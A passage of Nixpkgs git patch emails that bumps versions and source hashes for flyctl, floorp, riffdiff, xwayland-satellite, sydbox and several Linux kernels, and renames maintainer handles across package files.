-        fingerprint = "EA60 D516 A926 7532 369D  3E67 E161 DF22 9EC1 280E";
-      }
+      { fingerprint = "EA60 D516 A926 7532 369D  3E67 E161 DF22 9EC1 280E"; }
+      { fingerprint = "D088 A5AF C45B 78D1 CD4F  457C 6957 B3B6 46F2 BB4E"; }
     ];
   };
   caarlos0 = {
diff --git a/pkgs/applications/networking/remote/teamviewer/default.nix b/pkgs/applications/networking/remote/teamviewer/default.nix
index c57266e8eef4..2dbc038b3fb9 100644
--- a/pkgs/applications/networking/remote/teamviewer/default.nix
+++ b/pkgs/applications/networking/remote/teamviewer/default.nix
@@ -164,7 +164,7 @@ mkDerivation rec {
       jagajaga
       jraygauthier
       gador
-      c4thebomb
+      c4patino
     ];
   };
 }

From e0654c9c9af9c73a4beb5b548aaf83357fbca43d Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 20 Aug 2025 03:33:21 +0000
Subject: [PATCH 3710/4511] flyctl: 0.3.169 -> 0.3.171

(cherry picked from commit 9fdc0a77b2ebe03ed028fa09eecafc4adc4ad1d6)
---
 pkgs/by-name/fl/flyctl/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/fl/flyctl/package.nix b/pkgs/by-name/fl/flyctl/package.nix
index 0b4acad8a12e..c1c6a35329a6 100644
--- a/pkgs/by-name/fl/flyctl/package.nix
+++ b/pkgs/by-name/fl/flyctl/package.nix
@@ -9,16 +9,16 @@
 
 buildGoModule rec {
   pname = "flyctl";
-  version = "0.3.169";
+  version = "0.3.171";
 
   src = fetchFromGitHub {
     owner = "superfly";
     repo = "flyctl";
     rev = "v${version}";
-    hash = "sha256-F2QMQ24+wSKH8zmTFSWsSl9O9+Hc4e7Rmn2K9YXJi4k=";
+    hash = "sha256-9FJ/n2LoTrQmcO+J3eXxexggFhvP22yYFbrryd0rGtM=";
   };
 
-  vendorHash = "sha256-boaz0fR97NtU/wzIE2uPbDmP89ovkzNy8bpe0nrItMw=";
+  vendorHash = "sha256-uXCy/8HkwqGnQEoNtyOErLw9byG8SWc5YdzYZXwjhW4=";
 
   subPackages = [ "." ];
 

From 99fac9c2b31b23284ea04e4c6ede90f8d9c13ae3 Mon Sep 17 00:00:00 2001
From: FlameFlag <57304299+FlameFlag@users.noreply.github.com>
Date: Wed, 20 Aug 2025 16:48:23 +0300
Subject: [PATCH 3711/4511] maintainers: `donteatoreo` -> `FlameFlag`

(cherry picked from commit 7a07eec4eb734e1d589d402bfeb367be284a3071)
---
 maintainers/maintainer-list.nix | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index 1d99109a5b5f..675c5a36f0a0 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -6503,12 +6503,6 @@
     name = "Donovan Glover";
     keys = [ { fingerprint = "EE7D 158E F9E7 660E 0C33  86B2 8FC5 F7D9 0A5D 8F4D"; } ];
   };
-  donteatoreo = {
-    name = "DontEatOreo";
-    github = "DontEatOreo";
-    githubId = 57304299;
-    matrix = "@donteatoreo:matrix.org";
-  };
   dopplerian = {
     name = "Dopplerian";
     github = "Dopplerian";
@@ -8208,6 +8202,12 @@
     name = "Sebastian Neubauer";
     keys = [ { fingerprint = "2F93 661D AC17 EA98 A104  F780 ECC7 55EE 583C 1672"; } ];
   };
+  FlameFlag = {
+    name = "FlameFlag";
+    github = "FlameFlag";
+    githubId = 57304299;
+    matrix = "@donteatoreo:matrix.org";
+  };
   Flameopathic = {
     email = "flameopathic@gmail.com";
     github = "Flameopathic";

From 62239bc159bb03b91e6bff11bb3a44a39f2c56fc Mon Sep 17 00:00:00 2001
From: Christoph Heiss <christoph@c8h4.io>
Date: Mon, 18 Aug 2025 13:51:57 +0200
Subject: [PATCH 3712/4511] floorp: 11.29.0 -> 11.30.0

Git changelog: https://github.com/Floorp-Projects/Floorp/compare/v11.29.0...v11.30.0
Release notes: https://blog.floorp.app/en/release/11.30.0.html

Signed-off-by: Christoph Heiss <christoph@c8h4.io>
(cherry picked from commit d68f0be90c0baa159efc8a25f3068b1b27413507)
---
 pkgs/applications/networking/browsers/floorp/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/applications/networking/browsers/floorp/default.nix b/pkgs/applications/networking/browsers/floorp/default.nix
index 141699f7f7dd..8587583633e8 100644
--- a/pkgs/applications/networking/browsers/floorp/default.nix
+++ b/pkgs/applications/networking/browsers/floorp/default.nix
@@ -9,7 +9,7 @@
 (
   (buildMozillaMach rec {
     pname = "floorp";
-    packageVersion = "11.29.0";
+    packageVersion = "11.30.0";
     applicationName = "Floorp";
     binaryName = "floorp";
     branding = "browser/branding/official";
@@ -17,14 +17,14 @@
     allowAddonSideload = true;
 
     # Must match the contents of `browser/config/version.txt` in the source tree
-    version = "128.13.0";
+    version = "128.14.0";
 
     src = fetchFromGitHub {
       owner = "Floorp-Projects";
       repo = "Floorp";
       fetchSubmodules = true;
       rev = "v${packageVersion}";
-      hash = "sha256-uTTI9n99P4hHDf849lR7oiNGLbCa03ivjE1xF0gyT4Y=";
+      hash = "sha256-4IAN0S9JWjaGXtnRUJz3HqUm+ZWL7KmryLu8ojSXiqg=";
     };
 
     extraConfigureFlags = [

From 3d11e6cda5b0501f6b8eb1306ed97bfe5a799d44 Mon Sep 17 00:00:00 2001
From: FlameFlag <57304299+FlameFlag@users.noreply.github.com>
Date: Wed, 20 Aug 2025 20:39:13 +0300
Subject: [PATCH 3713/4511] treewide: `donteatoreo` -> `FlameFlag`

---
 ci/OWNERS                                                       | 2 +-
 .../networking/instant-messengers/discord/default.nix           | 2 +-
 pkgs/by-name/al/alt-tab-macos/package.nix                       | 2 +-
 pkgs/by-name/cs/csharprepl/package.nix                          | 2 +-
 pkgs/by-name/ge/gemini-cli/package.nix                          | 2 +-
 pkgs/by-name/hi/hidden-bar/package.nix                          | 2 +-
 pkgs/by-name/ic/ice-bar/package.nix                             | 2 +-
 pkgs/by-name/ii/iina/package.nix                                | 2 +-
 pkgs/by-name/is/istat-menus/package.nix                         | 2 +-
 pkgs/by-name/it/itsycal/package.nix                             | 2 +-
 pkgs/by-name/ko/koboldcpp/package.nix                           | 2 +-
 pkgs/by-name/mo/moonlight/package.nix                           | 2 +-
 pkgs/by-name/mo/mousecape/package.nix                           | 2 +-
 pkgs/by-name/nu/numi/package.nix                                | 2 +-
 pkgs/by-name/ra/raycast/package.nix                             | 2 +-
 pkgs/by-name/re/rewind-ai/package.nix                           | 2 +-
 pkgs/by-name/sh/shottr/package.nix                              | 2 +-
 pkgs/by-name/so/soundsource/package.nix                         | 2 +-
 pkgs/by-name/st/stats/package.nix                               | 2 +-
 pkgs/by-name/ve/vencord/package.nix                             | 2 +-
 pkgs/by-name/wa/warp-terminal/package.nix                       | 2 +-
 pkgs/by-name/wi/win-disk-writer/package.nix                     | 2 +-
 pkgs/by-name/yt/yt-dlp/package.nix                              | 2 +-
 pkgs/development/python-modules/customtkinter/default.nix       | 2 +-
 24 files changed, 24 insertions(+), 24 deletions(-)

diff --git a/ci/OWNERS b/ci/OWNERS
index 51edd50a9181..824e13400b3f 100644
--- a/ci/OWNERS
+++ b/ci/OWNERS
@@ -486,4 +486,4 @@ pkgs/by-name/oc/octodns/ @anthonyroussel
 pkgs/by-name/te/teleport*   @arianvp @justinas @sigma @tomberek @freezeboy @techknowlogick @JuliusFreudenberger
 
 # Warp-terminal
-pkgs/by-name/wa/warp-terminal/  @emilytrau @imadnyc @donteatoreo @johnrtitor
+pkgs/by-name/wa/warp-terminal/  @emilytrau @imadnyc @FlameFlag @johnrtitor
diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index b965c98db549..553ff0194be2 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -73,7 +73,7 @@ let
     mainProgram = "discord";
     maintainers = with lib.maintainers; [
       artturin
-      donteatoreo
+      FlameFlag
       infinidoge
       jopejoe1
       Scrumplex
diff --git a/pkgs/by-name/al/alt-tab-macos/package.nix b/pkgs/by-name/al/alt-tab-macos/package.nix
index a6fd3439e797..e802523417af 100644
--- a/pkgs/by-name/al/alt-tab-macos/package.nix
+++ b/pkgs/by-name/al/alt-tab-macos/package.nix
@@ -35,7 +35,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     homepage = "https://alt-tab-macos.netlify.app";
     license = lib.licenses.gpl3Plus;
     maintainers = with lib.maintainers; [
-      donteatoreo
+      FlameFlag
       emilytrau
     ];
     platforms = lib.platforms.darwin;
diff --git a/pkgs/by-name/cs/csharprepl/package.nix b/pkgs/by-name/cs/csharprepl/package.nix
index cdf3f59ea54b..fa0c82cf2fa5 100644
--- a/pkgs/by-name/cs/csharprepl/package.nix
+++ b/pkgs/by-name/cs/csharprepl/package.nix
@@ -21,7 +21,7 @@ buildDotnetGlobalTool {
     changelog = "https://github.com/waf/CSharpRepl/blob/main/CHANGELOG.md";
     license = lib.licenses.mpl20;
     platforms = lib.platforms.unix;
-    maintainers = with lib.maintainers; [ donteatoreo ];
+    maintainers = with lib.maintainers; [ FlameFlag ];
     mainProgram = "csharprepl";
   };
 }
diff --git a/pkgs/by-name/ge/gemini-cli/package.nix b/pkgs/by-name/ge/gemini-cli/package.nix
index ddaa7f42355c..4c97ca163669 100644
--- a/pkgs/by-name/ge/gemini-cli/package.nix
+++ b/pkgs/by-name/ge/gemini-cli/package.nix
@@ -89,7 +89,7 @@ buildNpmPackage (finalAttrs: {
     description = "AI agent that brings the power of Gemini directly into your terminal";
     homepage = "https://github.com/google-gemini/gemini-cli";
     license = lib.licenses.asl20;
-    maintainers = with lib.maintainers; [ donteatoreo ];
+    maintainers = with lib.maintainers; [ FlameFlag ];
     platforms = lib.platforms.all;
     mainProgram = "gemini";
   };
diff --git a/pkgs/by-name/hi/hidden-bar/package.nix b/pkgs/by-name/hi/hidden-bar/package.nix
index aaccb68fdf92..d31f06643990 100644
--- a/pkgs/by-name/hi/hidden-bar/package.nix
+++ b/pkgs/by-name/hi/hidden-bar/package.nix
@@ -31,7 +31,7 @@ stdenvNoCC.mkDerivation rec {
     description = "Ultra-light MacOS utility that helps hide menu bar icons";
     homepage = "https://github.com/dwarvesf/hidden";
     license = lib.licenses.mit;
-    maintainers = with lib.maintainers; [ donteatoreo ];
+    maintainers = with lib.maintainers; [ FlameFlag ];
     platforms = lib.platforms.darwin;
     sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ];
   };
diff --git a/pkgs/by-name/ic/ice-bar/package.nix b/pkgs/by-name/ic/ice-bar/package.nix
index df204a7092d3..bd3e1ce55d2d 100644
--- a/pkgs/by-name/ic/ice-bar/package.nix
+++ b/pkgs/by-name/ic/ice-bar/package.nix
@@ -34,7 +34,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     description = "Powerful menu bar manager for macOS";
     homepage = "https://icemenubar.app/";
     license = lib.licenses.mit;
-    maintainers = with lib.maintainers; [ donteatoreo ];
+    maintainers = with lib.maintainers; [ FlameFlag ];
     platforms = lib.platforms.darwin;
     sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ];
   };
diff --git a/pkgs/by-name/ii/iina/package.nix b/pkgs/by-name/ii/iina/package.nix
index 1d3dea15fa19..982cd67746db 100644
--- a/pkgs/by-name/ii/iina/package.nix
+++ b/pkgs/by-name/ii/iina/package.nix
@@ -34,7 +34,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     license = lib.licenses.gpl3;
     maintainers = with lib.maintainers; [
       arkivm
-      donteatoreo
+      FlameFlag
       stepbrobd
     ];
     mainProgram = "iina";
diff --git a/pkgs/by-name/is/istat-menus/package.nix b/pkgs/by-name/is/istat-menus/package.nix
index a7c124517615..4c89e794f1fc 100644
--- a/pkgs/by-name/is/istat-menus/package.nix
+++ b/pkgs/by-name/is/istat-menus/package.nix
@@ -48,7 +48,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     description = "iStat Menus is set of nine separate and highly configurable menu items that let you know exactly what's going on inside your Mac";
     homepage = "https://bjango.com/mac/istatmenus/";
     license = lib.licenses.unfree;
-    maintainers = with lib.maintainers; [ donteatoreo ];
+    maintainers = with lib.maintainers; [ FlameFlag ];
     platforms = lib.platforms.darwin;
     sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ];
   };
diff --git a/pkgs/by-name/it/itsycal/package.nix b/pkgs/by-name/it/itsycal/package.nix
index cbb462430a43..026a7b2b3002 100644
--- a/pkgs/by-name/it/itsycal/package.nix
+++ b/pkgs/by-name/it/itsycal/package.nix
@@ -27,7 +27,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     description = "Itsycal is a tiny menu bar calendar";
     homepage = "https://www.mowglii.com/itsycal/";
     license = lib.licenses.mit;
-    maintainers = with lib.maintainers; [ donteatoreo ];
+    maintainers = with lib.maintainers; [ FlameFlag ];
     platforms = lib.platforms.darwin;
     sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ];
   };
diff --git a/pkgs/by-name/ko/koboldcpp/package.nix b/pkgs/by-name/ko/koboldcpp/package.nix
index 57146d92c1aa..93be83b75937 100644
--- a/pkgs/by-name/ko/koboldcpp/package.nix
+++ b/pkgs/by-name/ko/koboldcpp/package.nix
@@ -122,7 +122,7 @@ effectiveStdenv.mkDerivation (finalAttrs: {
     mainProgram = "koboldcpp";
     maintainers = with lib.maintainers; [
       maxstrid
-      donteatoreo
+      FlameFlag
     ];
     platforms = lib.platforms.unix;
   };
diff --git a/pkgs/by-name/mo/moonlight/package.nix b/pkgs/by-name/mo/moonlight/package.nix
index f21fcd84b5c9..d83846db5c5d 100644
--- a/pkgs/by-name/mo/moonlight/package.nix
+++ b/pkgs/by-name/mo/moonlight/package.nix
@@ -73,7 +73,7 @@ stdenv.mkDerivation (finalAttrs: {
     license = licenses.lgpl3;
     maintainers = with maintainers; [
       ilys
-      donteatoreo
+      FlameFlag
     ];
   };
 })
diff --git a/pkgs/by-name/mo/mousecape/package.nix b/pkgs/by-name/mo/mousecape/package.nix
index d7644cc6b58c..c1ba12f3557a 100644
--- a/pkgs/by-name/mo/mousecape/package.nix
+++ b/pkgs/by-name/mo/mousecape/package.nix
@@ -26,7 +26,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     description = "Cursor manager for macOS built using private, nonintrusive CoreGraphics APIs";
     homepage = "https://github.com/alexzielenski/Mousecape";
     license = lib.licenses.free;
-    maintainers = with lib.maintainers; [ donteatoreo ];
+    maintainers = with lib.maintainers; [ FlameFlag ];
     platforms = lib.platforms.darwin;
     sourceProvenance = [ lib.sourceTypes.binaryNativeCode ];
   };
diff --git a/pkgs/by-name/nu/numi/package.nix b/pkgs/by-name/nu/numi/package.nix
index 527ecd7c5d2c..d6047b16666d 100644
--- a/pkgs/by-name/nu/numi/package.nix
+++ b/pkgs/by-name/nu/numi/package.nix
@@ -34,7 +34,7 @@ stdenv.mkDerivation (finalAttrs: {
     description = "Beautiful calculator app for macOS";
     homepage = "https://numi.app/";
     license = lib.licenses.unfree;
-    maintainers = with lib.maintainers; [ donteatoreo ];
+    maintainers = with lib.maintainers; [ FlameFlag ];
     platforms = lib.platforms.darwin;
     sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ];
   };
diff --git a/pkgs/by-name/ra/raycast/package.nix b/pkgs/by-name/ra/raycast/package.nix
index a0cc3e8b33c2..769381bf6270 100644
--- a/pkgs/by-name/ra/raycast/package.nix
+++ b/pkgs/by-name/ra/raycast/package.nix
@@ -80,7 +80,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     maintainers = with lib.maintainers; [
       lovesegfault
       stepbrobd
-      donteatoreo
+      FlameFlag
       jakecleary
     ];
     platforms = [
diff --git a/pkgs/by-name/re/rewind-ai/package.nix b/pkgs/by-name/re/rewind-ai/package.nix
index bc356f71bdac..2f1cc6174c8d 100644
--- a/pkgs/by-name/re/rewind-ai/package.nix
+++ b/pkgs/by-name/re/rewind-ai/package.nix
@@ -75,7 +75,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     description = "Rewind is a personalized AI powered by everything you've seen, said, or heard";
     homepage = "https://www.rewind.ai/";
     license = lib.licenses.unfree;
-    maintainers = with lib.maintainers; [ donteatoreo ];
+    maintainers = with lib.maintainers; [ FlameFlag ];
     platforms = [ "aarch64-darwin" ];
     sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ];
   };
diff --git a/pkgs/by-name/sh/shottr/package.nix b/pkgs/by-name/sh/shottr/package.nix
index 4de63b3f11a3..4ddc1438fe31 100644
--- a/pkgs/by-name/sh/shottr/package.nix
+++ b/pkgs/by-name/sh/shottr/package.nix
@@ -58,7 +58,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     homepage = "https://shottr.cc/";
     license = lib.licenses.unfree;
     mainProgram = "shottr";
-    maintainers = with lib.maintainers; [ donteatoreo ];
+    maintainers = with lib.maintainers; [ FlameFlag ];
     platforms = lib.platforms.darwin;
     sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ];
   };
diff --git a/pkgs/by-name/so/soundsource/package.nix b/pkgs/by-name/so/soundsource/package.nix
index 621e51a8ab05..1435fa9db3df 100644
--- a/pkgs/by-name/so/soundsource/package.nix
+++ b/pkgs/by-name/so/soundsource/package.nix
@@ -33,7 +33,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     license = lib.licenses.unfree;
     maintainers = with lib.maintainers; [
       emilytrau
-      donteatoreo
+      FlameFlag
     ];
     platforms = lib.platforms.darwin;
     sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ];
diff --git a/pkgs/by-name/st/stats/package.nix b/pkgs/by-name/st/stats/package.nix
index b99e609cbbad..db63752ae8f7 100644
--- a/pkgs/by-name/st/stats/package.nix
+++ b/pkgs/by-name/st/stats/package.nix
@@ -35,7 +35,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     homepage = "https://github.com/exelban/stats";
     license = lib.licenses.mit;
     maintainers = with lib.maintainers; [
-      donteatoreo
+      FlameFlag
       emilytrau
     ];
     platforms = lib.platforms.darwin;
diff --git a/pkgs/by-name/ve/vencord/package.nix b/pkgs/by-name/ve/vencord/package.nix
index 2e468da846a5..1bcf390fe49d 100644
--- a/pkgs/by-name/ve/vencord/package.nix
+++ b/pkgs/by-name/ve/vencord/package.nix
@@ -81,7 +81,7 @@ stdenv.mkDerivation (finalAttrs: {
     homepage = "https://github.com/Vendicated/Vencord";
     license = lib.licenses.gpl3Only;
     maintainers = with lib.maintainers; [
-      donteatoreo
+      FlameFlag
       FlafyDev
       Gliczy
       NotAShelf
diff --git a/pkgs/by-name/wa/warp-terminal/package.nix b/pkgs/by-name/wa/warp-terminal/package.nix
index 4af5fe0bfdd9..0557ca734963 100644
--- a/pkgs/by-name/wa/warp-terminal/package.nix
+++ b/pkgs/by-name/wa/warp-terminal/package.nix
@@ -114,7 +114,7 @@ let
     maintainers = with maintainers; [
       emilytrau
       imadnyc
-      donteatoreo
+      FlameFlag
       johnrtitor
     ];
     platforms = platforms.darwin ++ [
diff --git a/pkgs/by-name/wi/win-disk-writer/package.nix b/pkgs/by-name/wi/win-disk-writer/package.nix
index 667a91968a05..260ad8c7b783 100644
--- a/pkgs/by-name/wi/win-disk-writer/package.nix
+++ b/pkgs/by-name/wi/win-disk-writer/package.nix
@@ -29,7 +29,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     description = "Windows Bootable USB creator for macOS";
     homepage = "https://github.com/TechUnRestricted/WinDiskWriter";
     license = lib.licenses.gpl3;
-    maintainers = with lib.maintainers; [ donteatoreo ];
+    maintainers = with lib.maintainers; [ FlameFlag ];
     platforms = lib.platforms.darwin;
     sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ];
   };
diff --git a/pkgs/by-name/yt/yt-dlp/package.nix b/pkgs/by-name/yt/yt-dlp/package.nix
index 41b44b21706c..c483788084d0 100644
--- a/pkgs/by-name/yt/yt-dlp/package.nix
+++ b/pkgs/by-name/yt/yt-dlp/package.nix
@@ -129,7 +129,7 @@ python3Packages.buildPythonApplication rec {
     mainProgram = "yt-dlp";
     maintainers = with lib.maintainers; [
       SuperSandro2000
-      donteatoreo
+      FlameFlag
     ];
   };
 }
diff --git a/pkgs/development/python-modules/customtkinter/default.nix b/pkgs/development/python-modules/customtkinter/default.nix
index a29279816257..69b541e7ccf1 100644
--- a/pkgs/development/python-modules/customtkinter/default.nix
+++ b/pkgs/development/python-modules/customtkinter/default.nix
@@ -55,6 +55,6 @@ buildPythonPackage {
       a consistent and modern look across all desktop platforms
       (Windows, macOS, Linux).
     '';
-    maintainers = with lib.maintainers; [ donteatoreo ];
+    maintainers = with lib.maintainers; [ FlameFlag ];
   };
 }

From 35b71aacc498f9f4d64ecd5a7595824aabcd6a42 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 18 Aug 2025 05:55:29 +0000
Subject: [PATCH 3714/4511] riffdiff: 3.4.0 -> 3.4.1

(cherry picked from commit 836fdcc6cfee95b32572250ddced1722925bd102)
---
 pkgs/by-name/ri/riffdiff/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ri/riffdiff/package.nix b/pkgs/by-name/ri/riffdiff/package.nix
index 9a6716c742ba..7d066f224410 100644
--- a/pkgs/by-name/ri/riffdiff/package.nix
+++ b/pkgs/by-name/ri/riffdiff/package.nix
@@ -9,16 +9,16 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "riffdiff";
-  version = "3.4.0";
+  version = "3.4.1";
 
   src = fetchFromGitHub {
     owner = "walles";
     repo = "riff";
     tag = version;
-    hash = "sha256-b2Jgj/QABRd6BN3PhTEK6pid74oRknx0/CUg2UfQWS8=";
+    hash = "sha256-IpEgWbmWFW4X09EeAfWadncH4ptzSom2+7kvh8h3hcM=";
   };
 
-  cargoHash = "sha256-Pt+SL3R28Gr54hgN3jZ1ZaH3L4JKEZz7hhtuX45P3IY=";
+  cargoHash = "sha256-I0hBh9FFoy+RhEUAHfgQa+UiSgOS0mYJy+2W/0/9kG4=";
 
   passthru = {
     tests.version = testers.testVersion { package = riffdiff; };

From 8622d9ff885f5f660830c606a5b7372c04945ea4 Mon Sep 17 00:00:00 2001
From: wrvsrx <wrvsrx@outlook.com>
Date: Mon, 18 Aug 2025 21:54:35 +0800
Subject: [PATCH 3715/4511] xwayland-satellite: 0.6 -> 0.7

(cherry picked from commit 5b8f93040cb611b7284252cec5609327b4cce237)
---
 pkgs/by-name/xw/xwayland-satellite/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/xw/xwayland-satellite/package.nix b/pkgs/by-name/xw/xwayland-satellite/package.nix
index 072ec5bce96e..76deb44de602 100644
--- a/pkgs/by-name/xw/xwayland-satellite/package.nix
+++ b/pkgs/by-name/xw/xwayland-satellite/package.nix
@@ -13,13 +13,13 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "xwayland-satellite";
-  version = "0.6";
+  version = "0.7";
 
   src = fetchFromGitHub {
     owner = "Supreeeme";
     repo = "xwayland-satellite";
     tag = "v${version}";
-    hash = "sha256-IiLr1alzKFIy5tGGpDlabQbe6LV1c9ABvkH6T5WmyRI=";
+    hash = "sha256-m+9tUfsmBeF2Gn4HWa6vSITZ4Gz1eA1F5Kh62B0N4oE=";
   };
 
   postPatch = ''
@@ -27,7 +27,7 @@ rustPlatform.buildRustPackage rec {
       --replace-fail '/usr/local/bin' "$out/bin"
   '';
 
-  cargoHash = "sha256-R3xXyXpHQw/Vh5Y4vFUl7n7jwBEEqwUCIZGAf9+SY1M=";
+  cargoHash = "sha256-2+qQSCyWOtOJ4fTVCHbvHYO+k4vxC2nbEOJMdjQZOgY=";
 
   nativeBuildInputs = [
     makeBinaryWrapper

From 9268ef3c0301f446ecf242fc9107861369c98887 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 18 Aug 2025 21:31:04 +0000
Subject: [PATCH 3716/4511] sydbox: 3.37.6 -> 3.37.8

(cherry picked from commit b8fcfad297ddd7b19d290c9cdb7e7881500068f4)
---
 pkgs/by-name/sy/sydbox/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sy/sydbox/package.nix b/pkgs/by-name/sy/sydbox/package.nix
index a0edff5679fb..70c1ac166a33 100644
--- a/pkgs/by-name/sy/sydbox/package.nix
+++ b/pkgs/by-name/sy/sydbox/package.nix
@@ -12,7 +12,7 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "sydbox";
-  version = "3.37.6";
+  version = "3.37.8";
 
   outputs = [
     "out"
@@ -24,10 +24,10 @@ rustPlatform.buildRustPackage (finalAttrs: {
     owner = "Sydbox";
     repo = "sydbox";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-dcUK6GQK/l6HCTh/k5yaC5VetQmY6J+YWu8VHU1037g=";
+    hash = "sha256-d3kGLVAGo6El0IQzdASR5kNmcLOPig1fHnrEtPFo6H4=";
   };
 
-  cargoHash = "sha256-Ca4h7B5Vukd21HCEDpA5I+hgyQh7IFDLKeRxlVL0Uzo=";
+  cargoHash = "sha256-wpu8jeptwWHgqdWKHD5Nbs9WtZm7PjbO0lBk5fTbYuM=";
 
   nativeBuildInputs = [
     mandoc

From 6e36853a915e20acd89f006dd455072353f05367 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Wed, 20 Aug 2025 20:47:47 +0300
Subject: [PATCH 3717/4511] linux_testing: 6.17-rc1 -> 6.17-rc2

(cherry picked from commit 234b9983c7a8f31978e9c5c54153d090e4b11b00)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 16b9b4fd8254..c8f342f222c7 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -1,7 +1,7 @@
 {
     "testing": {
-        "version": "6.17-rc1",
-        "hash": "sha256:0dilsyjyx06b5f9wln6i58xi6nja2g5pj9p2kclfqqhbrgzxkyfl"
+        "version": "6.17-rc2",
+        "hash": "sha256:1ax2gjbs4l8pgkwp3qwy3mxyfxdvbv02943yj4iw5df7h3x50wcz"
     },
     "6.1": {
         "version": "6.1.148",

From dd859314e92ce5546b8aa6441d276f6db3e2f1ed Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Wed, 20 Aug 2025 20:47:53 +0300
Subject: [PATCH 3718/4511] linux_6_16: 6.16.1 -> 6.16.2

(cherry picked from commit 104fae09a98af2f73ce165671c088b6f6c281596)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index c8f342f222c7..7c21f852ece8 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -32,7 +32,7 @@
         "hash": "sha256:01pxk3cnil1wbysp4s6ybh5djskxzf9llmk1qy7zfr2l4mwnbkd4"
     },
     "6.16": {
-        "version": "6.16.1",
-        "hash": "sha256:1fmcl66wzb4qwz60lgqjan8h9rwnrzw5gndjncaf9qdcqwdljhza"
+        "version": "6.16.2",
+        "hash": "sha256:0vghyk7ggmgnsldyz67v9llzbi6mxyivx83z7fylyxrxg7xacq5p"
     }
 }

From 7881bf6f00ea6298901bb31e3544fc664ccbf403 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Wed, 20 Aug 2025 20:47:57 +0300
Subject: [PATCH 3719/4511] linux_6_15: 6.15.10 -> 6.15.11

(cherry picked from commit 5e374f9572715b6244942c7767717adba6c3b7b2)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 7c21f852ece8..673912cdc215 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -28,8 +28,8 @@
         "hash": "sha256:1yy17c06sn6l0skz8n1kxqhzldgwxxd0xhs11fd3086d56554128"
     },
     "6.15": {
-        "version": "6.15.10",
-        "hash": "sha256:01pxk3cnil1wbysp4s6ybh5djskxzf9llmk1qy7zfr2l4mwnbkd4"
+        "version": "6.15.11",
+        "hash": "sha256:14sxwrvw9p4ybizb8ky1rgahc62q0aw5qkmzqp3cpnavqfgldaw9"
     },
     "6.16": {
         "version": "6.16.2",

From f1f409581a4bdaba49a8fb162337e1b1bcdc2ec3 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Wed, 20 Aug 2025 20:48:00 +0300
Subject: [PATCH 3720/4511] linux_6_12: 6.12.42 -> 6.12.43

(cherry picked from commit 85d832189b216ee6db075f00b78d7e2d4f631ad5)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 673912cdc215..71cf61687254 100644
